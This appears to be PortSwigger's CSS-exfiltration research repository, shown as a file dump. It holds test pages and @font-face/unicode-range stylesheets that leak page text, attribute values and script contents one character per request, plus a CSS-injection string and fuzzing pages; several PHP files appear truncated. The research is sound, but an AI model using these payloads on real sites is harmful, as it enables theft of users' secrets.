├── test-css-selector-not.html ├── styles.css ├── .DS_Store ├── font.woff2 ├── inject.css ├── css-fuzzing ├── red.png ├── fuzz.php └── index.php ├── steal-script-contents ├── .DS_Store ├── styles.css ├── test.html ├── steal-numbers.css ├── steal-lowercase.css └── steal-uppercase.css ├── README.md ├── font.php ├── steal-attribute-values ├── styles.css ├── test.html └── steal-uppercase.css ├── steal-attribute-values-checkboxes ├── styles.css ├── test.html └── steal-uppercase.css ├── test-inject-css.html ├── delayed.php ├── detect-scroll-without-html ├── test.html └── styles.css ├── first-line-overflow-single-letter ├── test.html └── styles.css ├── test.html ├── steal-n-characters-safari ├── styles.css ├── test.html └── steal-uppercase.css ├── steal-first-line-safari ├── test.html ├── styles.css └── steal-uppercase.css ├── steal-reversed-firefox ├── test.html ├── styles.css └── steal-lowercase.css ├── steal-n-characters-firefox ├── test.html ├── styles.css └── steal-lowercase.css ├── steal-second-letter-safari ├── test.html ├── styles.css └── steal-uppercase.css ├── test-filter-add.html ├── detect-scroll ├── styles.css └── test.html ├── steal-numbers.css ├── steal-lowercase.css ├── steal-special-characters.css ├── style.php ├── steal-uppercase.css └── inject-filter └── test.css /test-css-selector-not.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /styles.css: -------------------------------------------------------------------------------- 1 | input { 2 | font-family: steal; 3 | } 4 | -------------------------------------------------------------------------------- /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/css-exfiltration/HEAD/.DS_Store -------------------------------------------------------------------------------- /font.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/css-exfiltration/HEAD/font.woff2 -------------------------------------------------------------------------------- /inject.css: -------------------------------------------------------------------------------- 1 | ##input[value="123" /*/] 2 | ##input[value="123*/]{}body{background-color: red;}"] -------------------------------------------------------------------------------- /css-fuzzing/red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/css-exfiltration/HEAD/css-fuzzing/red.png -------------------------------------------------------------------------------- /steal-script-contents/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/css-exfiltration/HEAD/steal-script-contents/.DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CSS exfiltration 2 | 3 | This repo lists all CSS based exfiltration techniques mentioned in the PortSwigger post. 4 | -------------------------------------------------------------------------------- /steal-script-contents/styles.css: -------------------------------------------------------------------------------- 1 | script { 2 | display:block; 3 | } 4 | 5 | script { 6 | font-family:steal; 7 | color:red; 8 | } 9 | -------------------------------------------------------------------------------- /font.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /steal-attribute-values/styles.css: -------------------------------------------------------------------------------- 1 | div { 2 | font-family: steal; 3 | } 4 | div:after { 5 | content: attr(data-token); 6 | background-color: green; 7 | text-transform: uppercase; 8 | } 9 | -------------------------------------------------------------------------------- /steal-attribute-values-checkboxes/styles.css: -------------------------------------------------------------------------------- 1 | input { 2 | font-family: steal; 3 | } 4 | input:after { 5 | content: attr(value); 6 | background-color: green; 7 | text-transform: uppercase; 8 | } 9 | -------------------------------------------------------------------------------- /test-inject-css.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Test injection 5 | 6 | 7 |
This should be hidden
8 | 9 | -------------------------------------------------------------------------------- /delayed.php: -------------------------------------------------------------------------------- 1 | 5 | div::first-line { 6 | word-spacing: 200ch; 7 | text-transform: uppercase; 8 | font-style: italic; 9 | font-size: 100px; 10 | } 11 | -------------------------------------------------------------------------------- /detect-scroll-without-html/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /first-line-overflow-single-letter/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 |
10 | tester atest 11 |
12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /steal-n-characters-safari/styles.css: -------------------------------------------------------------------------------- 1 | div { 2 | width: 3ch; 3 | word-wrap: break-word; 4 | word-break: break-all; 5 | overflow-wrap: break-word; 6 | text-transform: uppercase; 7 | } 8 | 9 | div::first-line { 10 | background-color: green; 11 | font-family: steal; 12 | } -------------------------------------------------------------------------------- /steal-attribute-values/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 | 10 |
test
11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /steal-first-line-safari/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 | 10 |
11 | tester blah 12 |
13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /steal-reversed-firefox/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 | 10 |
11 | some secret text 12 |
13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /steal-n-characters-firefox/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 | 10 |
11 | some secret text 12 |
13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /steal-n-characters-safari/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 | 10 |
11 | some secret text 12 |
13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /steal-second-letter-safari/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 | 10 |
11 | some secret text 12 |
13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /steal-n-characters-firefox/styles.css: -------------------------------------------------------------------------------- 1 | div { 2 | width: 7ch; 3 | word-wrap: break-word; 4 | word-break: break-all; 5 | overflow-wrap: break-word; 6 | text-transform: lowercase; 7 | font-family: steal; 8 | } 9 | 10 | div::first-line { 11 | background-color: green; 12 | text-transform: uppercase; 13 | } -------------------------------------------------------------------------------- /steal-attribute-values-checkboxes/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /test-filter-add.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Test filter add 5 | 6 | 7 | test 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /steal-script-contents/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /detect-scroll/styles.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | src: url("/font.php?A"); 3 | unicode-range: U+0041; 4 | font-family: steal-a-2; 5 | } 6 | 7 | @font-face { 8 | src: url("/font.php?a"); 9 | unicode-range: U+0061; 10 | font-family: steal-a-1; 11 | } 12 | 13 | input { 14 | content-visibility: auto; 15 | font-family: steal-a-1, steal-a-2; 16 | } 17 | 18 | -------------------------------------------------------------------------------- /steal-first-line-safari/styles.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | src: url("/font.php?A"); 3 | unicode-range: U+0041; 4 | font-family: steal; 5 | font-display: block; 6 | } 7 | 8 | div { 9 | width: 8ch; 10 | word-wrap: break-word; 11 | word-break: break-all; 12 | overflow-wrap: break-word; 13 | text-transform: uppercase; 14 | } 15 | 16 | div::first-line { 17 | font-family: steal; 18 | background-color: green; 19 | } -------------------------------------------------------------------------------- /first-line-overflow-single-letter/styles.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | src: url("/font.php?A"); 3 | unicode-range: U+0041; 4 | font-family: steal; 5 | font-display: block; 6 | } 7 | 8 | div { 9 | width: 1ch; 10 | word-wrap: break-word; 11 | word-break: break-all; 12 | overflow-wrap: break-word; 13 | } 14 | 15 | div::first-line { 16 | text-transform: uppercase; 17 | font: 100px steal; 18 | background-color: green; 19 | } -------------------------------------------------------------------------------- /steal-reversed-firefox/styles.css: -------------------------------------------------------------------------------- 1 | div { 2 | width: 20ch; 3 | word-wrap: break-word; 4 | word-break: break-all; 5 | overflow-wrap: break-word; 6 | text-transform: lowercase; 7 | font-family: steal; 8 | animation-name: steal-reversed; 9 | animation-iteration-count: 1; 10 | animation-fill-mode: forwards; 11 | animation-duration: 5s; 12 | } 13 | 14 | div::first-line { 15 | background-color: green; 16 | text-transform: uppercase; 17 | } 18 | 19 | @keyframes steal-reversed { 20 | from { 21 | width:20ch; 22 | } 23 | to { 24 | width: 1ch; 25 | } 26 | } -------------------------------------------------------------------------------- /detect-scroll-without-html/styles.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | src: url("/font.php?A"); 3 | unicode-range: U+0041; 4 | font-family: steal-a-2; 5 | } 6 | 7 | @font-face { 8 | src: url("/font.php?a"); 9 | unicode-range: U+0061; 10 | font-family: steal-a-1; 11 | } 12 | 13 | input { 14 | position: absolute; 15 | top: 5000px; 16 | content-visibility: auto; 17 | animation-duration: 1s; 18 | animation-iteration-count: 1; 19 | animation-fill-mode: forwards; 20 | animation-name: detect; 21 | background-color: black; 22 | 23 | } 24 | 25 | @keyframes detect { 26 | from { 27 | background-color: black; 28 | } 29 | to { 30 | font-family: steal-a-1; 31 | background-color: red; 32 | } 33 | } -------------------------------------------------------------------------------- /steal-second-letter-safari/styles.css: -------------------------------------------------------------------------------- 1 | div { 2 | width: 1ch; 3 | word-wrap: break-word; 4 | word-break: break-all; 5 | overflow-wrap: break-word; 6 | text-transform: uppercase; 7 | xanimation: steal 20s; 8 | animation-fill-mode: forwards; 9 | animation-iteration-count: 1; 10 | width: 2ch; 11 | } 12 | 13 | div::first-line { 14 | font-family: steal; 15 | background-color: green; 16 | } 17 | 18 | div::first-letter { 19 | text-transform: lowercase; 20 | } 21 | 22 | @keyframes steal { 23 | 0% { 24 | width: 2ch; 25 | } 26 | 1% { 27 | width: 3ch; 28 | } 29 | 2% { 30 | width: 4ch; 31 | } 32 | 3% { 33 | width: 5ch; 34 | } 35 | 4% { 36 | width: 6ch; 37 | } 38 | 5% { 39 | width: 7ch; 40 | } 41 | 6% { 42 | width: 8ch; 43 | } 44 | 100% { 45 | width: 8ch; 46 | } 47 | } -------------------------------------------------------------------------------- /detect-scroll/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSS exfiltration 5 | 6 | 7 | 8 | 9 |

 

 

 

 

 

 

 

 

 

 

 

 

 

10 |

 

 

 

 

 

 

 

 

 

 

 

 

 

11 |

 

 

 

 

 

 

 

 

 

 

 

 

 

12 |

 

 

 

 

 

 

 

 

 

 

 

 

 

13 |

 

 

 

 

 

 

 

 

 

 

 

 

 

14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /steal-numbers.css: -------------------------------------------------------------------------------- 1 | 2 | @font-face { 3 | src: url("/0"); 4 | unicode-range: U+0030; 5 | font-family: steal; 6 | } 7 | 8 | @font-face { 9 | src: url("/1"); 10 | unicode-range: U+0031; 11 | font-family: steal; 12 | } 13 | 14 | @font-face { 15 | src: url("/2"); 16 | unicode-range: U+0032; 17 | font-family: steal; 18 | } 19 | 20 | @font-face { 21 | src: url("/3"); 22 | unicode-range: U+0033; 23 | font-family: steal; 24 | } 25 | 26 | @font-face { 27 | src: url("/4"); 28 | unicode-range: U+0034; 29 | font-family: steal; 30 | } 31 | 32 | @font-face { 33 | src: url("/5"); 34 | unicode-range: U+0035; 35 | font-family: steal; 36 | } 37 | 38 | @font-face { 39 | src: url("/6"); 40 | unicode-range: U+0036; 41 | font-family: steal; 42 | } 43 | 44 | @font-face { 45 | src: url("/7"); 46 | unicode-range: U+0037; 47 | font-family: steal; 48 | } 49 | 50 | @font-face { 51 | src: url("/8"); 52 | unicode-range: U+0038; 53 | font-family: steal; 54 | } 55 | 56 | @font-face { 57 | src: url("/9"); 58 | unicode-range: U+0039; 59 | font-family: steal; 60 | } 61 | -------------------------------------------------------------------------------- /steal-script-contents/steal-numbers.css: -------------------------------------------------------------------------------- 1 | 2 | @font-face { 3 | src: url("/0"); 4 | unicode-range: U+0030; 5 | font-family: steal; 6 | } 7 | 8 | @font-face { 9 | src: url("/1"); 10 | unicode-range: U+0031; 11 | font-family: steal; 12 | } 13 | 14 | @font-face { 15 | src: url("/2"); 16 | unicode-range: U+0032; 17 | font-family: steal; 18 | } 19 | 20 | @font-face { 21 | src: url("/3"); 22 | unicode-range: U+0033; 23 | font-family: steal; 24 | } 25 | 26 | @font-face { 27 | src: url("/4"); 28 | unicode-range: U+0034; 29 | font-family: steal; 30 | } 31 | 32 | @font-face { 33 | src: url("/5"); 34 | unicode-range: U+0035; 35 | font-family: steal; 36 | } 37 | 38 | @font-face { 39 | src: url("/6"); 40 | unicode-range: U+0036; 41 | font-family: steal; 42 | } 43 | 44 | @font-face { 45 | src: url("/7"); 46 | unicode-range: U+0037; 47 | font-family: steal; 48 | } 49 | 50 | @font-face { 51 | src: url("/8"); 52 | unicode-range: U+0038; 53 | font-family: steal; 54 | } 55 | 56 | @font-face { 57 | src: url("/9"); 58 | unicode-range: U+0039; 59 | font-family: steal; 60 | } 61 | -------------------------------------------------------------------------------- /css-fuzzing/fuzz.php: -------------------------------------------------------------------------------- 1 | 16 | 17 | 18 | 19 | 20 | 25 | 37 | 38 | 39 |

40 | Back | Auto | Start | Reset | 41 |

42 | 0x10ffff){ 45 | break; 46 | } 47 | ?> 48 | 49 |
50 | 53 | 54 | -------------------------------------------------------------------------------- /steal-script-contents/steal-lowercase.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | src: url("/a"); 3 | unicode-range: U+0061; 4 | font-family: steal; 5 | } 6 | @font-face { 7 | src: url("/b"); 8 | unicode-range: U+0062; 9 | font-family: steal; 10 | } 11 | @font-face { 12 | src: url("/c"); 13 | unicode-range: U+0063; 14 | font-family: steal; 15 | } 16 | @font-face { 17 | src: url("/d"); 18 | unicode-range: U+0064; 19 | font-family: steal; 20 | } 21 | @font-face { 22 | src: url("/e"); 23 | unicode-range: U+0065; 24 | font-family: steal; 25 | } 26 | @font-face { 27 | src: url("/f"); 28 | unicode-range: U+0066; 29 | font-family: steal; 30 | } 31 | @font-face { 32 | src: url("/g"); 33 | unicode-range: U+0067; 34 | font-family: steal; 35 | } 36 | @font-face { 37 | src: url("/h"); 38 | unicode-range: U+0068; 39 | font-family: steal; 40 | } 41 | @font-face { 42 | src: url("/i"); 43 | unicode-range: U+0069; 44 | font-family: steal; 45 | } 46 | @font-face { 47 | src: url("/j"); 48 | unicode-range: U+006a; 49 | font-family: steal; 50 | } 51 | @font-face { 52 | src: url("/k"); 53 | unicode-range: U+006b; 54 | font-family: steal; 55 | } 56 | @font-face { 57 | src: url("/l"); 58 | unicode-range: U+006c; 59 | font-family: steal; 60 | } 61 | @font-face { 62 | src: url("/m"); 63 | unicode-range: U+006d; 64 | font-family: steal; 65 | } 66 | @font-face { 67 | src: url("/n"); 68 | unicode-range: U+006e; 69 | font-family: steal; 70 | } 71 | @font-face { 72 | src: url("/o"); 73 | unicode-range: U+006f; 74 | font-family: steal; 75 | } 76 | @font-face { 77 | src: url("/p"); 78 | unicode-range: U+0070; 79 | font-family: steal; 80 | } 81 | @font-face { 82 | src: url("/q"); 83 | unicode-range: U+0071; 84 | font-family: steal; 85 | } 86 | @font-face { 87 | src: url("/r"); 88 | unicode-range: U+0072; 89 | font-family: steal; 90 | } 91 | @font-face { 92 | src: url("/s"); 93 | unicode-range: U+0073; 94 | font-family: steal; 95 | } 96 | @font-face { 97 | src: url("/t"); 98 | unicode-range: U+0074; 99 | font-family: steal; 100 | } 101 | @font-face { 102 | src: url("/u"); 103 | unicode-range: U+0075; 104 | font-family: steal; 105 | } 106 | @font-face { 107 | src: url("/v"); 108 | unicode-range: U+0076; 109 | font-family: steal; 110 | } 111 | @font-face { 112 | src: url("/w"); 113 | unicode-range: U+0077; 114 | font-family: steal; 115 | } 116 | @font-face { 117 | src: url("/x"); 118 | unicode-range: U+0078; 119 | font-family: steal; 120 | } 121 | @font-face { 122 | src: url("/y"); 123 | unicode-range: U+0079; 124 | font-family: steal; 125 | } 126 | @font-face { 127 | src: url("/z"); 128 | unicode-range: U+007a; 129 | font-family: steal; 130 | } -------------------------------------------------------------------------------- /steal-lowercase.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | src: url("/a"); 3 | unicode-range: U+0061; 4 | font-family: steal; 5 | } 6 | @font-face { 7 | src: url("/b"); 8 | unicode-range: U+0062; 9 | font-family: steal; 10 | } 11 | @font-face { 12 | src: url("/c"); 13 | unicode-range: U+0063; 14 | font-family: steal; 15 | } 16 | @font-face { 17 | src: url("/d"); 18 | unicode-range: U+0064; 19 | font-family: steal; 20 | } 21 | @font-face { 22 | src: url("/e"); 23 | unicode-range: U+0065; 24 | font-family: steal; 25 | } 26 | @font-face { 27 | src: url("/f"); 28 | unicode-range: U+0066; 29 | font-family: steal; 30 | } 31 | @font-face { 32 | src: url("/g"); 33 | unicode-range: U+0067; 34 | font-family: steal; 35 | } 36 | @font-face { 37 | src: url("/h"); 38 | unicode-range: U+0068; 39 | font-family: steal; 40 | } 41 | @font-face { 42 | src: url("/i"); 43 | unicode-range: U+0069; 44 | font-family: steal; 45 | } 46 | @font-face { 47 | src: url("/j"); 48 | unicode-range: U+006a; 49 | font-family: steal; 50 | } 51 | @font-face { 52 | src: url("/k"); 53 | unicode-range: U+006b; 54 | font-family: steal; 55 | } 56 | @font-face { 57 | src: url("/l"); 58 | unicode-range: U+006c; 59 | font-family: steal; 60 | } 61 | @font-face { 62 | src: url("/m"); 63 | unicode-range: U+006d; 64 | font-family: steal; 65 | } 66 | @font-face { 67 | src: url("/n"); 68 | unicode-range: U+006e; 69 | font-family: steal; 70 | } 71 | @font-face { 72 | src: url("/o"); 73 | unicode-range: U+006f; 74 | font-family: steal; 75 | } 76 | @font-face { 77 | src: url("/p"); 78 | unicode-range: U+0070; 79 | font-family: steal; 80 | } 81 | @font-face { 82 | src: url("/q"); 83 | unicode-range: U+0071; 84 | font-family: steal; 85 | } 86 | @font-face { 87 | src: url("/r"); 88 | unicode-range: U+0072; 89 | font-family: steal; 90 | } 91 | @font-face { 92 | src: url("/s"); 93 | unicode-range: U+0073; 94 | font-family: steal; 95 | } 96 | @font-face { 97 | src: url("/t"); 98 | unicode-range: U+0074; 99 | font-family: steal; 100 | } 101 | @font-face { 102 | src: url("/u"); 103 | unicode-range: U+0075; 104 | font-family: steal; 105 | } 106 | @font-face { 107 | src: url("/v"); 108 | unicode-range: U+0076; 109 | font-family: steal; 110 | } 111 | @font-face { 112 | src: url("/w"); 113 | unicode-range: U+0077; 114 | font-family: steal; 115 | } 116 | @font-face { 117 | src: url("/x"); 118 | unicode-range: U+0078; 119 | font-family: steal; 120 | } 121 | @font-face { 122 | src: url("/y"); 123 | unicode-range: U+0079; 124 | font-family: steal; 125 | } 126 | @font-face { 127 | src: url("/z"); 128 | unicode-range: U+007a; 129 | font-family: steal; 130 | } 131 | -------------------------------------------------------------------------------- /steal-reversed-firefox/steal-lowercase.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | src: url("/a"); 3 | unicode-range: U+0061; 4 | font-family: steal; 5 | } 6 | @font-face { 7 | src: url("/b"); 8 | unicode-range: U+0062; 9 | font-family: steal; 10 | } 11 | @font-face { 12 | src: url("/c"); 13 | unicode-range: U+0063; 14 | font-family: steal; 15 | } 16 | @font-face { 17 | src: url("/d"); 18 | unicode-range: U+0064; 19 | font-family: steal; 20 | } 21 | @font-face { 22 | src: url("/e"); 23 | unicode-range: U+0065; 24 | font-family: steal; 25 | } 26 | @font-face { 27 | src: url("/f"); 28 | unicode-range: U+0066; 29 | font-family: steal; 30 | } 31 | @font-face { 32 | src: url("/g"); 33 | unicode-range: U+0067; 34 | font-family: steal; 35 | } 36 | @font-face { 37 | src: url("/h"); 38 | unicode-range: U+0068; 39 | font-family: steal; 40 | } 41 | @font-face { 42 | src: url("/i"); 43 | unicode-range: U+0069; 44 | font-family: steal; 45 | } 46 | @font-face { 47 | src: url("/j"); 48 | unicode-range: U+006a; 49 | font-family: steal; 50 | } 51 | @font-face { 52 | src: url("/k"); 53 | unicode-range: U+006b; 54 | font-family: steal; 55 | } 56 | @font-face { 57 | src: url("/l"); 58 | unicode-range: U+006c; 59 | font-family: steal; 60 | } 61 | @font-face { 62 | src: url("/m"); 63 | unicode-range: U+006d; 64 | font-family: steal; 65 | } 66 | @font-face { 67 | src: url("/n"); 68 | unicode-range: U+006e; 69 | font-family: steal; 70 | } 71 | @font-face { 72 | src: url("/o"); 73 | unicode-range: U+006f; 74 | font-family: steal; 75 | } 76 | @font-face { 77 | src: url("/p"); 78 | unicode-range: U+0070; 79 | font-family: steal; 80 | } 81 | @font-face { 82 | src: url("/q"); 83 | unicode-range: U+0071; 84 | font-family: steal; 85 | } 86 | @font-face { 87 | src: url("/r"); 88 | unicode-range: U+0072; 89 | font-family: steal; 90 | } 91 | @font-face { 92 | src: url("/s"); 93 | unicode-range: U+0073; 94 | font-family: steal; 95 | } 96 | @font-face { 97 | src: url("/t"); 98 | unicode-range: U+0074; 99 | font-family: steal; 100 | } 101 | @font-face { 102 | src: url("/u"); 103 | unicode-range: U+0075; 104 | font-family: steal; 105 | } 106 | @font-face { 107 | src: url("/v"); 108 | unicode-range: U+0076; 109 | font-family: steal; 110 | } 111 | @font-face { 112 | src: url("/w"); 113 | unicode-range: U+0077; 114 | font-family: steal; 115 | } 116 | @font-face { 117 | src: url("/x"); 118 | unicode-range: U+0078; 119 | font-family: steal; 120 | } 121 | @font-face { 122 | src: url("/y"); 123 | unicode-range: U+0079; 124 | font-family: steal; 125 | } 126 | @font-face { 127 | src: url("/z"); 128 | unicode-range: U+007a; 129 | font-family: steal; 130 | } -------------------------------------------------------------------------------- /steal-n-characters-firefox/steal-lowercase.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | src: url("/a"); 3 | unicode-range: U+0061; 4 | font-family: steal; 5 | } 6 | @font-face { 7 | src: url("/b"); 8 | unicode-range: U+0062; 9 | font-family: steal; 10 | } 11 | @font-face { 12 | src: url("/c"); 13 | unicode-range: U+0063; 14 | font-family: steal; 15 | } 16 | @font-face { 17 | src: url("/d"); 18 | unicode-range: U+0064; 19 | font-family: steal; 20 | } 21 | @font-face { 22 | src: url("/e"); 23 | unicode-range: U+0065; 24 | font-family: steal; 25 | } 26 | @font-face { 27 | src: url("/f"); 28 | unicode-range: U+0066; 29 | font-family: steal; 30 | } 31 | @font-face { 32 | src: url("/g"); 33 | unicode-range: U+0067; 34 | font-family: steal; 35 | } 36 | @font-face { 37 | src: url("/h"); 38 | unicode-range: U+0068; 39 | font-family: steal; 40 | } 41 | @font-face { 42 | src: url("/i"); 43 | unicode-range: U+0069; 44 | font-family: steal; 45 | } 46 | @font-face { 47 | src: url("/j"); 48 | unicode-range: U+006a; 49 | font-family: steal; 50 | } 51 | @font-face { 52 | src: url("/k"); 53 | unicode-range: U+006b; 54 | font-family: steal; 55 | } 56 | @font-face { 57 | src: url("/l"); 58 | unicode-range: U+006c; 59 | font-family: steal; 60 | } 61 | @font-face { 62 | src: url("/m"); 63 | unicode-range: U+006d; 64 | font-family: steal; 65 | } 66 | @font-face { 67 | src: url("/n"); 68 | unicode-range: U+006e; 69 | font-family: steal; 70 | } 71 | @font-face { 72 | src: url("/o"); 73 | unicode-range: U+006f; 74 | font-family: steal; 75 | } 76 | @font-face { 77 | src: url("/p"); 78 | unicode-range: U+0070; 79 | font-family: steal; 80 | } 81 | @font-face { 82 | src: url("/q"); 83 | unicode-range: U+0071; 84 | font-family: steal; 85 | } 86 | @font-face { 87 | src: url("/r"); 88 | unicode-range: U+0072; 89 | font-family: steal; 90 | } 91 | @font-face { 92 | src: url("/s"); 93 | unicode-range: U+0073; 94 | font-family: steal; 95 | } 96 | @font-face { 97 | src: url("/t"); 98 | unicode-range: U+0074; 99 | font-family: steal; 100 | } 101 | @font-face { 102 | src: url("/u"); 103 | unicode-range: U+0075; 104 | font-family: steal; 105 | } 106 | @font-face { 107 | src: url("/v"); 108 | unicode-range: U+0076; 109 | font-family: steal; 110 | } 111 | @font-face { 112 | src: url("/w"); 113 | unicode-range: U+0077; 114 | font-family: steal; 115 | } 116 | @font-face { 117 | src: url("/x"); 118 | unicode-range: U+0078; 119 | font-family: steal; 120 | } 121 | @font-face { 122 | src: url("/y"); 123 | unicode-range: U+0079; 124 | font-family: steal; 125 | } 126 | @font-face { 127 | src: url("/z"); 128 | unicode-range: U+007a; 129 | font-family: steal; 130 | } -------------------------------------------------------------------------------- /steal-script-contents/steal-uppercase.css: -------------------------------------------------------------------------------- 1 | 2 | @font-face { 3 | src: url("/A"); 4 | unicode-range: U+0041; 5 | font-family: steal; 6 | } 7 | 8 | @font-face { 9 | src: url("/B"); 10 | unicode-range: U+0042; 11 | font-family: steal; 12 | } 13 | 14 | @font-face { 15 | src: url("/C"); 16 | unicode-range: U+0043; 17 | font-family: steal; 18 | } 19 | 20 | @font-face { 21 | src: url("/D"); 22 | unicode-range: U+0044; 23 | font-family: steal; 24 | } 25 | 26 | @font-face { 27 | src: url("/E"); 28 | unicode-range: U+0045; 29 | font-family: steal; 30 | } 31 | 32 | @font-face { 33 | src: url("/F"); 34 | unicode-range: U+0046; 35 | font-family: steal; 36 | } 37 | 38 | @font-face { 39 | src: url("/G"); 40 | unicode-range: U+0047; 41 | font-family: steal; 42 | } 43 | 44 | @font-face { 45 | src: url("/H"); 46 | unicode-range: U+0048; 47 | font-family: steal; 48 | } 49 | 50 | @font-face { 51 | src: url("/I"); 52 | unicode-range: U+0049; 53 | font-family: steal; 54 | } 55 | 56 | @font-face { 57 | src: url("/J"); 58 | unicode-range: U+004a; 59 | font-family: steal; 60 | } 61 | 62 | @font-face { 63 | src: url("/K"); 64 | unicode-range: U+004b; 65 | font-family: steal; 66 | } 67 | 68 | @font-face { 69 | src: url("/L"); 70 | unicode-range: U+004c; 71 | font-family: steal; 72 | } 73 | 74 | @font-face { 75 | src: url("/M"); 76 | unicode-range: U+004d; 77 | font-family: steal; 78 | } 79 | 80 | @font-face { 81 | src: url("/N"); 82 | unicode-range: U+004e; 83 | font-family: steal; 84 | } 85 | 86 | @font-face { 87 | src: url("/O"); 88 | unicode-range: U+004f; 89 | font-family: steal; 90 | } 91 | 92 | @font-face { 93 | src: url("/P"); 94 | unicode-range: U+0050; 95 | font-family: steal; 96 | } 97 | 98 | @font-face { 99 | src: url("/Q"); 100 | unicode-range: U+0051; 101 | font-family: steal; 102 | } 103 | 104 | @font-face { 105 | src: url("/R"); 106 | unicode-range: U+0052; 107 | font-family: steal; 108 | } 109 | 110 | @font-face { 111 | src: url("/S"); 112 | unicode-range: U+0053; 113 | font-family: steal; 114 | } 115 | 116 | @font-face { 117 | src: url("/T"); 118 | unicode-range: U+0054; 119 | font-family: steal; 120 | } 121 | 122 | @font-face { 123 | src: url("/U"); 124 | unicode-range: U+0055; 125 | font-family: steal; 126 | } 127 | 128 | @font-face { 129 | src: url("/V"); 130 | unicode-range: U+0056; 131 | font-family: steal; 132 | } 133 | 134 | @font-face { 135 | src: url("/W"); 136 | unicode-range: U+0057; 137 | font-family: steal; 138 | } 139 | 140 | @font-face { 141 | src: url("/X"); 142 | unicode-range: U+0058; 143 | font-family: steal; 144 | } 145 | 146 | @font-face { 147 | src: url("/Y"); 148 | unicode-range: U+0059; 149 | font-family: steal; 150 | } 151 | 152 | @font-face { 153 | src: url("/Z"); 154 | unicode-range: U+005a; 155 | font-family: steal; 156 | } 157 | -------------------------------------------------------------------------------- /css-fuzzing/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 38 | 60 | 61 | 62 |
63 | 75 |
76 | $chr 77 | $hex2 78 | $hex4 79 | $hex6 80 | $num 81 |
82 | 83 |
84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /steal-special-characters.css: -------------------------------------------------------------------------------- 1 | 2 | @font-face { 3 | src: url("/!"); 4 | unicode-range: U+0021; 5 | font-family: steal; 6 | } 7 | 8 | @font-face { 9 | src: url("/%22"); 10 | unicode-range: U+0022; 11 | font-family: steal; 12 | } 13 | 14 | @font-face { 15 | src: url("/%23"); 16 | unicode-range: U+0023; 17 | font-family: steal; 18 | } 19 | 20 | @font-face { 21 | src: url("/%24"); 22 | unicode-range: U+0024; 23 | font-family: steal; 24 | } 25 | 26 | @font-face { 27 | src: url("/%25"); 28 | unicode-range: U+0025; 29 | font-family: steal; 30 | } 31 | 32 | @font-face { 33 | src: url("/%26"); 34 | unicode-range: U+0026; 35 | font-family: steal; 36 | } 37 | 38 | @font-face { 39 | src: url("/'"); 40 | unicode-range: U+0027; 41 | font-family: steal; 42 | } 43 | 44 | @font-face { 45 | src: url("/("); 46 | unicode-range: U+0028; 47 | font-family: steal; 48 | } 49 | 50 | @font-face { 51 | src: url("/)"); 52 | unicode-range: U+0029; 53 | font-family: steal; 54 | } 55 | 56 | @font-face { 57 | src: url("/*"); 58 | unicode-range: U+002a; 59 | font-family: steal; 60 | } 61 | 62 | @font-face { 63 | src: url("/%2B"); 64 | unicode-range: U+002b; 65 | font-family: steal; 66 | } 67 | 68 | @font-face { 69 | src: url("/%2C"); 70 | unicode-range: U+002c; 71 | font-family: steal; 72 | } 73 | 74 | @font-face { 75 | src: url("/-"); 76 | unicode-range: U+002d; 77 | 